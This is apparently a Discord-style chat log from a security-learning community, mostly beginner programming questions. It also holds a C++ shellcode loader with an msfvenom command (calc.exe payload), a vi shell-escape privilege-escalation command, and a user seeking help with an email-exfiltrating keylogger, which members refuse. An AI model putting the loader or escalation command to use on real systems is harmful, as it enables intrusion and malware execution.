[warped axle]

ahhhh

[fading tartan]

last comma is [,]$

but just the fifth 🙂

this hurts my brain

[dusty ore]

same here

I guess you should watch a video explaining about regex

Like this https://www.youtube.com/watch?v=sa-TUpSx1JA

Then you will get a rough idea about how to do it

Goodluck

[warped axle]

i remember spending 8 hours trying to figure this out in a ctf once

completely fried my brain

[fading tartan]

Thanks bro 🙂

[wispy kestrel]

Gave +1 Rep to @dusty ore

[dusty ore]

no prob

[warped axle]

ngl at this point i feel like manual labor is better unless you've got an absolute aircraft carrier of a data set

[fading tartan]

well it has 1.2M lines so finding another option is the best thing to do i gues haha

regex isnt gonna do it for me with my knowledge atleastt 😄

Thanks for the help mate 🙂

[solar palm]

selecting the 5th comma somewhere could be done by matching the first 4 and then looking for another one, using {n} as a counter

[steel vigil]

I have no clue what to do so I ask here, I have made a portscanner on python via ubuntu Linux VM, and It works great, but when I tried to run the script on my main os (windows) it didn't work, and cause some weird issues

[timid dove]

if your using a system library i.e it takes system commands, then that would only work for that operating system

[steel vigil]

I’ve used the re, socket, multiprocessing, colorama, timeit

Do you think there is some kind of issue with those module on windows

?

Cuz my code compiles just fine, but the execution is weird

[solar hull]

All but colorama are (IIRC) built-in, so they should be fine.

[magic falcon]

If you don't post screenshots of what the weird behavior is, we aren't able to diagnose and troubleshoot with you

[velvet walrus]

Hey Guys! I have a Question.

I Don't know wich Programming Language i need to lern first..
What would you Recommend?

[mystic nimbus]

python is a good language to start with, but it depends on what you are trying to do

[velvet walrus]

I think for Pentesting would be Automatisation great

[warped axle]

sounds like a job for python

then powershell is handy for windows targets

[onyx merlin]

Powershell is really for stuff running on a windows machine, doesn't matter what you're throwing at it remotely

[velvet walrus]

Thank you Guys!

What do you think would be a great second language ? C or C++?

[warped axle]

well if you're trying to write botnets that do make typos then C++ maybe

[velvet walrus]

Thank You Brother!

[onyx merlin]

What

[warped axle]

[onyx merlin]

Depends what you want it for again, if you wanna do weird Windows pentesty stuff then Powershell/C#

[velvet walrus]

Okey i think than i go first for python and than for PowerShell

[onyx merlin]

Just make sure you learn OOP IMO, it will help with powershell later on

[velvet walrus]

Thank You

[mellow onyx]

is codecademy a good way to learn python?

[warped axle]

I think that depends on how you learn tbh

ohh wait

codecademy have video resources too dont they

[mellow onyx]

im pretty sure yeah

[warped axle]

well then i'd say try it out for your self

[mellow onyx]

yea ill try a few courses and see how it is

[stone kayak]

Does anyone here know Julia? Can I get a vibe check?

[magic falcon]

Sorry Bee, that one isn't one I've done anything in.

[tulip sail]

Sure, she's lovely

[brazen eagle]

I'd use concurrent.futures

[stone kayak]

post code

[serene vortex]

I started there but found I learn better just doing things with it. I built an app for work recently (Second time trying to build an app, first that was decent enough to be used). Between, freecodecamp(more of their YT stuff than the website), some foundational stuff on codecademy and A LOT of stack exchange and documentation, I made something that works well enough.

[cursive zephyr]

anyone knows how to communicate with upnp serveces ?

[lilac holly]

Which is the iso file I need to download for kali Linux using VMware

[pine barn]

For virtualbox i just use the bare metal iso dunno if that s the same with vm ware

[clear needle]

the vmware download isnt an iso its an ova image

[brazen eagle]

You can grab the iso and install the thing manually

Or you can get the ova image and import that

[silk lotus]

There is an ova for virtualbox as well btw

Yes

[lilac holly]

What do you guys prefer most baremetal install or VM for your attack machine .. ?

[magic falcon]

I prefer VMs. Because I can packed up the entire VM disk image into an ISO and hand it off as a deliverable

Also, sandboxing is part of a healthy ecosystem to manage all the things.

[true pumice]

Also means you can make mistakes and not have to worry about destroying your baremetal machine

[magic falcon]

That too

Borking a system bad enough can require a re-image; if it's a VM, snapshops are a super easy way to recover with minimal loss

[lilac holly]

yeah .. that's true

[true pumice]

imo, I prefer using a VM anyway, feels safer. I probably wouldn't do pentest stuff on my host. If I did get something on my VM, it's enclosed and an attacker would be trapped there.

I rarely install anything to my host too and I have good anti-virus.

[magic falcon]

I do that for almost everything, Jabba. the only systems I don't run in a VM are my gaming PCs

[true pumice]

I do like the idea of having a machine designated to pentesting but it probably would just be used for that.

[lilac holly]

I think antivirus are pretty much useless if you are that contained and don't install anything on your host

[magic falcon]

SecureVNC and SSH let me do practically everything I would on bare metal, but on a VM in my lab instead of on my desktop

[true pumice]

I install stuff, but only things I know and trust. Always good practice to check what you're installing and scan it. You never know.

[magic falcon]

Depends on what you probability of being targeted by spearphishing or poison docs being passed around

[true pumice]

A lot of what I install nowadays is pretty much gaming related and I would do so through steam. Although, I don't game that often.

I use my Macbook for work so I don't really install anything there either.

[magic falcon]

A lot of cloud based data storage services perform AV scans, it's actually slightly harder than you'd think to pass around a poison pdf.

[true pumice]

[magic falcon]

And most of what I'm looking for in AV is just an alert that something tried to change a protected file

It's not useless, but i'm low-risk to be infected just due to my general system hygiene.

Suspicious torrents, unknown source game downloads, sketch websites are all things on my no-no list. I have a blacklist in my pi-hole specifically for warez and related garbage.

[lilac holly]

But what I prefer is a device laptop/desktop that has a baremetal installation of either Kali, Ubuntu, parrot or any other Linux distro that I use only for pentest and stuff and my regular work device with a VM in it

[thorny lion]

How to hack

[lilac holly]

If you wanna learn that you are in a right place .. THM has lots of resources, machines to practice and community of amazing people ready to help you in your learning endeavor

[magic falcon]

That is exactly backwards for how to segregate potentially sensitive data.

I typically have a VM set up for each project, keeping the environment for each completely separate.

[thorny lion]

Ok so how should i get started

[magic falcon]

#start-here

[dusty ore]

Do all variables in bash have to be in all caps?

[tulip ibex]

nop

[brazen eagle]

No, but it's convention

[rugged juniper]

Matrix class as a two-dimensional array.

class Matrix {
  constructor(width, height, element = (x, y) => undefined) {
    this.width = width;
    this.height = height;
    this.content = [];
    for (let y = 0; y < height; y++) {
      for (let x = 0; x < width; x++) {
        this.content[y * width + x] = element(x, y);
      }
    }
  }
  get(x, y) {
    return this.content[y * this.width + x];
  }
  set(x, y, value) {
    this.content[y * this.width + x] = value;  
  }
}

what is "element" doing here?

[steel vigil]

hi, How can I run python script from anywhere in Linux?

[mystic nimbus]

do you mean from a different directory python <location of script>\<script>

[steel vigil]

yes

[mystic nimbus]

just add the directory path of the script

[steel vigil]

yes but i want like just the name of the file

[mystic nimbus]

if you aren't in the same directory, you need to add the directory path before the scriptname

[steel vigil]

sure?

so how nmap actually do it?

[mystic nimbus]

nmap has a specific folder that it stores the nse scripts in

[steel vigil]

so you mean i cant?

[mystic nimbus]

not an nmap expert, but the documentation might give some guidance

[stoic badger]

The easiest way to do this with your own files is by adding whatever folder it's in to the path, and making the python file executable with a shebang at the top of the file.
It's really just a lot of work for very little payoff. Just type out the whole thing: python /PATH/TO/SCRIPT/file.py.

Unless you're actively developing a python project where you want to call it by its name, there are very few reasons I see why you would need to do that

[tulip sail]

Or symlinks

[stoic badger]

I always forget that symlinks exist

[solar hull]

I don't know what language this is, but it looks like element is a function reference provided to the constructor as a parameter, and the function called within the constructor.

[brazen eagle]

Looks like an initialization function

To initialize the array

Ola, Can someone explain to me about Unions in C++ (How they work, How to use them, etc.)?

[desert eagle]

Is java good for learning hacking and if not then suggest me some like 1 language for both community and pentesting purpose

[onyx merlin]

Python

[ocean horizon]

Java can be used for applet attacks, but generally python is your best friend

[desert eagle]

Oh i see needa master that

[ocean horizon]

It takes time. Learn it as you go. Powershell and Bash will also be super useful to learn

[onyx merlin]

Java applets are a historical thing really

[onyx merlin]

Applets are dead dead dead now.

[ocean horizon]

Read this first: https://en.cppreference.com/w/cpp/language/union

If union still doesn't matter sense, please ask some more clarifying questions

[full drift]

I've a question : in order to understand TCP/IP networks functioning, should we spend a lot of time in learning how to cut addresses ranges ?

[magic falcon]

Are you talking about classless network design? Subnet specification is a huge area of understanding IP based networks.

[steel vigil]

@magic falcon 🙏

[full drift]

wdym by classless network design ?

[forest dock]

it helps to understand how people and businesses organize their network topography, usually IP addresses are separated into groups with subnetting, so it does help a lot to understand what a subnet is and how people create them and use them in their infrastructure

Hey all,
recently, I programmed a keylogger and I used 'pyinstaller' to convert the file from .py to .exe.
But when I want to run it on windows, this errorbox shows (below).
So I tried to turn off virus protection in windows defender, but that didn't help.
Than I tried to turn on developer mode in security setting, but it didn't help either.
I even try to encode the python script to base64 in the belief, this could
bypass this problem, but no results.
Does anyone know, how to fix this problem?
thx

https://www.easeus.com/images/en/screenshot/todo-backup/guide/this-app-cant-run-on-your-pc.png

[tulip sail]

Depends. What's the keylogger for?

[lilac jewel]

well, it's capturing keys, write them to the file and then send the file to email

[tulip sail]

And who, pray tell, were you intending to use it on?

[lilac jewel]

educational purpose, just a project, really

[tulip sail]

Really? Awfully malicious choice

[lilac jewel]

well, I'm starting at learning python and I wanted something easy to start 😄

sooo, do you know how to fix it?

[autumn kettle]

Word of advice: probably better not making a scene when someone says something like that. It does not make you look good.

[autumn kettle]

[lilac holly]

[lilac jewel]

I just don't know what to do, I tried everything I know but the error is still there. I would be grateful if you could help me.

[brazen eagle]

took them long enough

[tulip sail]

We ain't helping with something that has precisely no legitimate uses when all we have is your word that it's educational. I'm sure you're telling the truth, but there's no way to confirm that 🤷‍♂️

It's like selling a stick of plastic explosive to a random person off the street. Sure, they might (as they claim) just want to study it, but more likely they want it to blow something up

[lilac jewel]

if you didn't notice, there is a whole page learning this thing. It's domain is "tryhackme.com" and admins of this page are also giving information to everyone without knowing, what it will be used for.

[small pine]

Is there anywhere that takes the time to break other people's(or their own) code down line by line (or block by block) to explain what is going on? Is there such a thing?

[long ginkgo]

Yes lol

[static night]

Idk, but pythontutor just goes every line of code when you run the code on it. So if it helps you understand what each line does, and if there are any errors it shows you where and when the error occurs

Idk anything that does more than that, hopefully that helps though

[small pine]

Hello, I suggest you to read #start-here in the first place and ask us your questions if you have any ( more likely in #infosec-general )

[brazen flax]

Hello people, I need a bit of help win WinAPI. I am trying to write a program to execute a shellcode(for example, launch calc.exe)

I generate the shellcode with:

msfvenom -f c -p windows/exec CMD="C:\windows\system32\calc.exe" -b '\x00'

And the cpp script looks like this:

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(void)
{
    
    unsigned char payload[] = <SHELLCODE>;
    void * exec_mem;
    BOOL rv;
    HANDLE th;
    DWORD oldprotect = 0;
    unsigned int payload_len = sizeof(payload);

// Allocate a memory buffer for payload
        exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
        printf("%-20s : 0x%-016p\n", "payload addr", (void *)payload);
        printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem);

        // Copy payload to new buffer
        RtlMoveMemory(exec_mem, payload, payload_len);
        
        // Make new buffer as executable
        rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);

        printf("\nHit me!\n");
        getchar();

        // If all good, run the payload
        if ( rv != 0 ) {
                        th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
                        WaitForSingleObject(th, -1);
        }
    
    return 0;
}

I compile it with x86_64-w64-mingw32-g++ on Linux and cl.exe on Windows but both give me the same error. Any suggestions? 🙂

[lilac holly]

  try:
    # something
  except some_error:
    # I fixed the exception here and wants to try again. that's why everything is in a while loop
    continue
  else:
    # somethings
  finally:
    # somethings
    break

problem is that it ignores the continue statement in except block and jumps into the finally block which has the break statement, and breaks out of the loop
I want to try again after fixing the exception in except block
any solutions?
it works if I omit the finally block
but I don't want to exclude finally block as it does some important tasks which I want to perform with or without exception

[verbal yacht]

que

[steady gazelle]

I might be a bit uneducated but afaik try and except are completely seperate to else. if you try something and it works, it carries on in that bit of code, but if it hits the except, it goes through the except bit. There is no else to that, so maybe try add an if in there with else ifs?

[verbal yacht]

i wouldnt use else??? and finally?

uunclear

[steady gazelle]

while True:
  try:
    #do something1

  except some_error:
    #do something2

  print("try and except completed")
  #move onto rest of code
  if condition == met:
    break

something like this yes? ^^

[lilac holly]

But I want to run code in try block again just after finishing except block code

[verbal yacht]

this is the normal try and except thing.

try:
    num = 'z'
    assert num / 2 ==  6
except:
    print("que?")
else:
    print("code go brrr")

finally, is always going to happen, hence why its always breaking.

try:
    num = 'z'
    assert num / 2 ==  6
except:
    print("que?")
else:
    print("code go brrr")
finally:
    print("ends up here")

[lilac holly]

Uhmm... I know how try and except works but idk why continue in except was ignored

Anyways, my goal is to retry after running the code in except block. That's all

[verbal yacht]

remove finally

and it will work 😉

[lilac holly]

I already specified that I don't want to remove finally. It's important 🙂

[verbal yacht]

everytime, a try block is executed, it will run straight into the finally

just put the code in??? (without the finally)

finally will always execute

[lilac holly]

I will try without finally. It works I know.

Thanks 😊

I was actually opening a file in read mode inside try block

If file does not exist then create the file in except block

And then wanted to try again

Finally black was closing the file

Maybe now you understand what I want to do @verbal yacht @steady gazelle

[steady gazelle]

Yeah now I do understnad, one mo

[verbal yacht]

i see, yeah, using finally was a good idea to close the file

[steady gazelle]

Why don't you just check if the file actually exists in the first place?

if my_file.exists():

with something like that ^^

[verbal yacht]

you could, iirc just do file = open("myfile", "w+")

w+ would put the pointer at the beginning of the file to read from.

but opens as reading and writing

you could also use a+

which i think is more sutiable

it will create a new file, or opens an exiting file. but the pointer is put at the end.

[lilac holly]

what is my_file here? file object

tell me I don't know about exists() method

[lilac holly]

thanks, exactly what I wanted 😀

[wispy kestrel]

Gave +1 Rep to @verbal yacht

[lilac holly]

this would do the thing. 👍

[verbal yacht]

👍

[lilac holly]

pointer go to start using file.seek(0)

[verbal yacht]

yep

[lilac holly]

btw what is this? still unclear to me 😅

[verbal yacht]

oh i think they're confusing it with the os.path.exists() method

[steady gazelle]

Sorry, I think you need the os module

Yeah I am, maybe I'll keep hush 😆

[lilac holly]

yeah I googled it. i think os.path.isfile(path) would be better

[verbal yacht]

that is a good solution

[lilac holly]

anyways, problem is solved I guess. thank you both 😁

[sharp coral]

how do you pick which license to put a project under? I was looking at just using "The Unlicense" but I see some people saying it's bad for open-source - I just want all of my stuff to be freely available to copy/modify/use in perpetuity

[lilac holly]

I never made such project but what about this:
https://choosealicense.com/

[brazen eagle]

The finally block will always be executed, regardless of the results of the exception handling

[lilac holly]

event when I type 'continue' in except block?

continue means jump to next loop

[brazen eagle]

I usually use MIT, but I hear the apache license is better

[brazen eagle]

The finally block seems to override, or is executed before the continue. In any case, this sort of handling isn't very clean

GPLv3 and derivatives are the plague

And I mean literally the plague.

Creative Commons licenses shouldn't be too bad either though

[sharp coral]

gotcha, I will probably just slap an Apache license on the stuff I have already, I didn't realize no license is no bueno

[brazen eagle]

It's a cya type thing

[sharp coral]

the bit I like with the GPL licenses is that it seems that any modifications mean that the updated source code needs to be available

[brazen eagle]

The problem with GPLv3 is that merely using a GPLv3 component means that code must then also be licensed under the GPLv3

[lilac holly]

...     try:
...             open('wev')
...     except:
...             print('hello')
...             continue
...             print('hello1')
...     finally:
...             print('finally')
...             break

I ran this piece of code and output was:

hello
finally

doesn't make sense to me 🤷‍♂️

[brazen eagle]

AGPLv3 is even more infectious

[magic falcon]

Even without license attached, your code is still copyright by you though. proving it's yours might be more problematic though

[brazen eagle]

The WTFPL is amusing

[magic falcon]

more amusing than the HTML error RFC?

[brazen eagle]

Probably not

[stoic badger]

IIRC no license means assume all rights reserved

Take a look at sys.argv, either look it up in the docs or just google it

andddd argparse should make all of that a lot simpler, take a look https://www.tutorialspoint.com/argument-parsing-in-python

[hexed cargo]

Thanks

[worthy spire]

I ran this and it's not giving any output, why so?

a = 9 ** 99999999999999999999
print(a)

edit: so it turned out there's a fix integer value limit. But can't I find how can I Increase it or print this value.

[worthy spire]

I dont get how that work (sys.maxvalue), but I got to know that it'll print out the value after some time, but will eat up resources and memory

[thorn moon]

At least in the USA, the course in a typical college Computer Science program that covers assembly (and computer hardware) in depth is often called “Computer Organization”

Unfortunately that’s not a specific recommendation, but maybe it’ll be helpful for googling or looking at potential books?

You could also try diving in head-first and learning as you go, which will be a bit harder in some ways, but will teach you things you know you’ll specifically need for RE

[plain path]

Appreciate the answer, thanks

[warped axle]

What the...

[gray ledge]

is anybody well versed in java?

[magic falcon]

Many of us. Please just ask your question, and someone will hopefully chime in.

[ancient garnet]

hello

[plain path]

The "ret" instruction in assembly is "Pop return address from stack and jump there"

But how can that be? I thought the only way you can pop something off the stack is if its at the top (first in last out)? Is the return address always at the top of the stack? How? Also theres so many pointers. base pointer, instruction pointer, stack pointer. someone care to ELI5 difference between the pointers? I have a rough idea but need to drive it home

2. if I write some C code and allocate 500 bytes of memory, the assembly code wont show how much is being allocated, or its showing but not 500. how?

[magic falcon]

Each register stores a pointer for a reason - some exercises that will help you understand what is happening is to walk through how the stack changes when a function is called, when a loop executes, when a decision happens, when variables are declared, and when a function exits

C doesn't render to assembly directly, unless you are using a really weird toolchain.

[plain path]

ah

[magic falcon]

you can compile the C to native code, then use a disassembler to see what equivalent assembly code could be

Compilers make a lot of decisions, especially with respect to optimization. It's the most successful tool in computer science

[plain path]

Right, but with all that efficiency = harder reverse engineering

[magic falcon]

Not necessarily

[plain path]

more stuff stripped away

[magic falcon]

Because it renders into more recognizable patterns

[plain path]

but the stack thing - you can always only access whatever is at the top, right?

[magic falcon]

The hardest ASM is written by people who are just learning, because they don't understand good conventions, best practices, nor good style

Nope

The exercises I listed will show you exactly what you want to know if you pay attention and go slow

[plain path]

list me please

[plain path]

aite cuz the first thing any educational video says about stacks is that its first in last out data structure

[magic falcon]

A stack is commonly used in that way for adding and removing with push and pop. Accessing the stack is a different operation than either of those.

[plain path]

aaaaaaaaaah

[brazen eagle]

The RPN calculator kata is good for understanding stacks as a data structure

In the end it's usually implemented as an array, or a deque

[magic falcon]

the main data stack isn't usually treated as a pure data structure stack though

random access is required, just due to how allocation in a function in organized

[jade jay]

Sorry if this is off topic, still new to the channel.
Is it possible to install kali on my 970 Evo plus(I have a usb-c adapter so it's portable)

And use it on multiple devices? Say if I'm at home and wanna use it on my desktop. Then when I travel can I plug it into the laptop and boot it up?

I know their is a kali usb live. But will that work?

Once again my bad if this is on the wrong channel 😅

[mortal merlin]

Well try it out I would say

usb live means you boot it into memory and not persisting it on the disk

[jade jay]

Yea I did, it worked. Only for the laptop tho when I plugged it into desktop it would say something like no access filesystem restricted or something. I'll reinstall and try it again. I basically installed usb live to my thumb drive. Then used easeus disk copy to the m.2 it booted up and worked, I did updates unplugged it from laptop and plugged into desktop and got nothing but errors about permissions. Heh

[mortal merlin]

Why would you copy an iso file over ? xD

https://www.edureka.co/blog/how-to-install-kali-linux/

[jade jay]

Think at this point I'm just gonna make a drive for each system with kali seems a lot easier then trying to get 1 drive to work with both systems.

I installed usb live onto my SanDisk 256gb usb. Then did a disk copy. I mean it worked but only for 1 system lol

[mortal merlin]

But you cant install usb live

[jade jay]

Ahh I'm starting to understand

[mortal merlin]

The whole point of a live is that it isnt persistent but it is a quick boot

[jade jay]

I followed the add persistance to it then did the disk copy

[mortal merlin]

You need to install kali on a disk in order te keep all your changes on your file system

[jade jay]

Ah gotcha

[mortal merlin]

If you follow the installation guide you will have a disk with a working kali linux, make sure the grub is configured correctly

[jade jay]

Will do 👍🏼 thank you

[mortal merlin]

From there it shouldnt matter much if you put it in computer XYZ

your welcome 🙂

[jade jay]

Ohh I didn't know that. I thought it would bug out since the installation was configured to that computers hardware

[mortal merlin]

Nope that shouldnt matter

[jade jay]

Sweet =]

[mortal merlin]

Because everything that is persistent is on the disk itself

[jade jay]

I see

[plain path]

What exactly is the point of assigning the arg1&2 and then reassigning it to the registers?

why not just do movl edi/esi -> edx/eax respectively right away

why is it just juggling variables/values around without doing anything to them

frame pointer and base pointer are the same thing if im understanding things correctly? frame/base pointer points at the frame being used and stack pointer just points at the top of the stack?

[brazen eagle]

I'd assume you use the base pointer as a base for any pointer maths :)

[sour apex]

is there a string where the md5 hash is the same as the string itself?

[magic falcon]

walking through this should give you a good idea that it isn't likely. http://practicalcryptography.com/hashes/md5-hash/

[sour apex]

Any suggestions for tried and tested resources where I can learn data structures and algos from the ground up? To give myself a better overall picture of programming

[magic falcon]

The Corman book is a university standard.

[brazen eagle]

I would expect it to be possible, finding it is another story though

[brazen eagle]

Isn't K&R still a standard reference?

[lilac holly]

Can someone suggest me an project related to AI in cybersecurity ,in python

[magic falcon]

For C, one would want K&R. The Corman book is all data structures and algorithms. If you wanted to learn asymptotic analysis, you'd read Corman, not K&R.

[brazen eagle]

fair

can't remember what my Algos book was, but it was also 20 years ago

[magic falcon]

The other good one is the red book, by princeton publishing

Walls & Mirrors isn't bad, it is way better at explaining 2-3 and self-balancing trees than most algo books are. W&M also isn't nearly as dense

[brazen eagle]

the OpenGL Red Book? 😉

[magic falcon]

lol, this one: https://algs4.cs.princeton.edu/home/

i forgot about the openGL red book. I've called Sedgewick&Wayne the red book because it's cover is bright, eye searing red.

It's almost as memorable as the dragon book

[brazen eagle]

yeah

[plain path]

I know how to convert ASCII letters to binary, but how does the computer know the binary numbers its reading, i.e. bits, are representing letters / words and not numbers?

[solar hull]

It doesn't. It just "knows" they're bits and bytes.

The interpretation of the contents is solely on the responsibility of the operations done on the data.

[plain path]

makes sense

[solar hull]

Higher level languages naturally provide convenience methods and utilities for this.

[clear lodge]

Hey, are there any iOS developers here who have experience with releasing apps to the app store?

[brazen eagle]

Generally electricity :) a 1 will be a different voltage than a 0

Also context

I misread the question. But yeah it depends on the operation. It's all numbers at the lowest level

Even assembly is all numbers, as each function is represented by an opcode. This is how shell code basically works

[plain path]

yeah exactly. its all numbers. so its on the context of the application to translate the numbers back into letters once the operation has been executed, right

[brazen eagle]

pretty much

[plain path]

thanks @brazen eagle

[wispy kestrel]

Gave +1 Rep to @brazen eagle

[brazen eagle]

the function will translate at some level, or the terminal program will see a series of bytes and say ah, this is a / or this is a u, I should display that

Hey, I want to connect to a server with ssh and then copy a text file to my directory. What is the command to copy a file from the server to my computer?🤔

[lilac holly]

What is your Host OS ; Windows or Linux ?

[proud kelp]

Linux

[lilac holly]

So scp should do the trick, I guess it's something like

scp username@vivid island:/path/of/your/file your/local/computer/path

With username & IP from your server

Oops someone is called IP here, sorry

[proud kelp]

Umm, first I shoul connect ti the server with ssh and then run scp?

[lilac holly]

Yep

[proud kelp]

Let me check it

My connection to tryhackme.com is too slow😠

[lilac holly]

What do you want to do exactly ? If I may ask

[solar hull]

No, just run scp on the local computer. Not on the remote. You don't need an existing connection. (And this isn't really a programming question 🙂 )

[proud kelp]

Umm. I tell you at #room-help

[proud kelp]

Yeah, sorry

[worthy spire]

[hoary scaffold]

nice profile pic. “whoami” right?

[brazen eagle]

every day is mentorship day

[magic falcon]

the 'best' distro is the one that gives you the environment you want with the least amount of fixing.

[frosty ice]

is there any resource to make a file forbidden on the webserver?

[tulip sail]

Depends on your environment. What are you working with?

[frosty ice]

I am gonna need to read something from a file in the website, then try processing it, but I need to make the file inaccessible from outside

I think ur question were different, but eh

[tulip sail]

That tells me nothing about your environment. Linux? Windows? Apache? IIS? Nginx? Python WSGI? Express?

[vernal thicket]

can't you just move that file out of the webroot, and hard code the path in the script that works with the file?

[frosty ice]

Windows. Nothing special, no special technologies. Only jQuery and maybe could utilise some PHP somehow.

[frosty ice]

Also self-hosted with Live Server in VSCode

[tulip sail]

I don't have a clue how Live Server works, but either shift it outside the webroot or remove permissions for your user to read it.

[frosty ice]

@vernal thicket you could still do /../.., right?

[tulip sail]

Unless Live Server lets you configure rules

[tulip sail]

Not if Live Server has any kind of security to it

[frosty ice]

Live Server is just an extension that hosts the webserver on the 5500 port, and refreshes the page automatically when you make any changes to the files

[brazen eagle]

Live server is great for dev work, but probably shouldn't be used to actually host anything

it's got zero security

[frosty ice]

I should've said "testing", sorry

[brazen eagle]

I think you can share it over a sharing session though

[tulip sail]

I'll defer to your experience @brazen eagle. I dislike VSCode 🤷‍♂️

[brazen eagle]

it's fine

[tulip sail]

Get your dev environment as close to your prod environment as you can

[brazen eagle]

yeah but it's good for rapid prototyping

[magic falcon]

SELinux contexts will do what you are looking for, I think.

Not sure what the MS Server equivalent would be

[tulip sail]

Bear in mind that MS is completely broken...

[magic falcon]

So business as usual then 🙂

[vernal thicket]

Can't you use a .htaccess file to deny access to that file? Or does that also affect access from scripts on the server itself?

and if you can , does Live Server support .htaccess files?

[brazen eagle]

dunno, never tried doing something that silly with live server

[tulip sail]

Those only work on Apache

Hence asking about environment

[vernal thicket]

Quick question - I'm trying to setup an Ubuntu Server at my apartment with an old laptop that I kept around, and I think I am running into a wifi problem on setup. The thing is when I logged into the wifi here the first time they had me log into their program via browser to complete the wifi connection. Well my Ubuntu server only has terminal so is there a way to either bypass or certify that checkpoint without downloading ubuntu as a desktop?

[hollow ember]

I don't know the answer to your question, but what you see when you are connecting to wifi is called a captive portal. Maybe that will help you find the answer.

[dull tangle]

some of those captive portals allow you to whitelist mac addresses for an account, it completely depends on the providers configuration

[midnight cliff]

Hmm.. maybe you can use another pc and check the parameters in the request sent to the captive portal webpage during login process using burp suite. With that information use curl from your ubuntu server to login. Idk if this can work but just a suggestion.

[magic falcon]

Try using a text-based browser, such as lynx.

[brazen eagle]

Does it work with a console mode browser?

Ah juun was faster... There's w3m as well if you don't like lynx

should is run this command or not 

npm install --global yarn```

mkdir $IP
nmap $IP > $IP/nmap.txt

I don’t program bash, that’s just my best guess:)

you could use the -o flag for nmap 🙂

[pearl rock]

@graceful ginkgo - what command are you using for the scan? What level of -v do you have?

for example if you are using -vv try -v instead

[distant zenith]

Try to not to put -v argument, but if you want a little bit of information put -v, not -vv, i think you used it with two vv.

[magic falcon]

You're going to have to be a lot more specific with your questions if you hope for an exact answer.

[stark summit]

PS: I do not want to use selenium for now

[jolly dagger]

hello guys zshrc editor how to open it?

please help

[graceful ginkgo]

From the day i started till today i never used -vv

[distant zenith]

if you use -v try to get rid of it and try again.

[graceful ginkgo]

I want to short the output using cat or awk but I'm not good at it thats why i asked you guys to give hand here

[distant zenith]

you can use cut or awk, but cut use one character as a delimiter, on the other hand, awk uses multi-character as a delimiter, you can use whatever you want i will give you an example on both

echo "hi all foo bb" | cut -d " " -f 1

this will output "hi" as a result

Hi everyone, was doing the room on Escaping Vi Editor to get shell. the syntax was "sudo vi -c ':!/bin/sh' /dev/null" Can anyone explain why is it necessary to have /dev/null I think i have seen /dev/null in other shells and was wondering why we need to output stuff to null

[true pumice]

I don't know the reason exactly but usually using /dev/null on shells is to get rid of the errors. Some shells I have used will blurt out errors each command, no matter whether it's right or wrong.

ahhh makes sense, thank you sir!

If there is any questions behind it please ask it directly, don't ask to ask

using namespace std;

int main ()

double numFirst;
double numSecond;

cout << "Please enter the first number" << endl;
cin >> numFirst >> endl;

cout << "Please enter the second number" << endl;
cin >> numSecond >> endl;
  
  
  return 0;
}```

why am i getting an error here?

[magic falcon]

What's the error you are getting?

[lilac holly]

I'm garbage at C++ so I won't be able to assist you further

[rancid panther]

its a whole lot but this is the first one

ah i cant post images

      could not be resolved; did you mean to call it?
cin >> numFirst >> endl;```

[magic falcon]

So that makes sense. Have you looked at ifstream where cin resides? That will likely give you some deeper info on why it's breaking.

[rancid panther]

whats ifstream?

ah i got it lol im stupid

[magic falcon]

🙂

[solar hull]

Isn't this line trying to write a double into numFirst, and then something into endl?

[magic falcon]

It's mixing operators

std::cin is an input stream, using << attempts to feed the std::endl into an output stream. The two categories of stream objects aren't compatible in that way.

[bronze forum]

hello can anyone help with my interviews program questions

[raven hill]

If this is for a job interview you need to solve this yourself. If someone helps you, you are mis-representing your skills and essentially lying to your employer

[brazen eagle]

yeah we aren't going to help you with interview questions, though the distribution of notes makes a simple algorithm optimal

[raven hill]

If you lack the skills to solve the interview challenge, then how are you going to perform the job, which is likely to be much harder?

There's literally 0 point to cheating.

[brazen eagle]

yup

[raven hill]

You're just digging yourself a nasty hole that you do not want to be in.

[brazen eagle]

also I suggest you properly read the instructions 🙂

[bronze forum]

the job does not require this amount of coding at all. idk why they ask this

[brazen eagle]

because it's an algorithms question, not a coding question.

[raven hill]

That's not going to change my response. Your potential future employer is gauging your skill level for a reason

[bronze forum]

i can see how the function works but struggle to implement it

[brazen eagle]

sorry mate, won't help. And I'll mute any that does

[raven hill]

Keep in mind that some employers will still hire you if you're underskilled, and then train you. Don't cheat your interview challenge, it's going to make them think you don't need training and they're going to assign tasks to you that are above your skill level.

[brazen eagle]

you'll have to figure it out on your own. might steal that question for later though

I mean it's basic CS so

[magic falcon]

If you lack a compsci or math background, these questions may be out of your skillset. If that's the case, your best bet is to ask a lot of questions and show your thought path to approach this kind of question.

[brazen eagle]

might be tricky given that it's an automated test

in any case there are multiple possible solutions, some more optimal than others

[magic falcon]

both of those statements are true

remember that the naive brute force approach is always an option in algorithms questions. the question is just asking for a solution, not an optimal or approximately optimal solution

[brazen eagle]

yup

I mean I'd probably brute force first to make it work, then figure out the cute method

[magic falcon]

yeah

draw it up, do the complexity analysis, then optimize

[brazen eagle]

I had 2 ideas on how to do this right now, though both are variants on the same theme

[magic falcon]

it's a really common algorithms problem

[brazen eagle]

yes

[magic falcon]

it's been taught in a slightly different way in every DS&A class I've taken or been a TA for

[brazen eagle]

that's either a good thing, or infuriating

dunno if I'd do it in C at first though

[tepid cargo]

it's a problem that u can find in youtube

the recursive memoization explanation is easier to grasp.

[brazen eagle]

Use while loop maybe?

If you are asking about a switch statement, that doesn't exist in python.

*it does exist now

[rustic wadi]

You will need a while loop

# A simple example

while True:
    ask = input("blah?: ")
    if ask == "exit":
        exit_the_program

[true pumice]

Change exit_the_program to break?

[rustic wadi]

it depends how the program is structured, it seems that he wants to exit the program once a user types exit so sys.exit() is probably more suited, break just breaks out of the loop.

[true pumice]

Your example was simple :p

I was adding to your example

[rustic wadi]

😉

[true pumice]

You understand where I’m coming from, right? :)

[rustic wadi]

Yeah 😛

pattern matching / switch case will be in python 3.10

definitely the best feature in 3.10

[magic falcon]

pattern matching is already in python. RE is already a library... You mean the syntax to support a switch(){ case ... } type of construct

[onyx merlin]

We're past 3.0?

[rustic wadi]

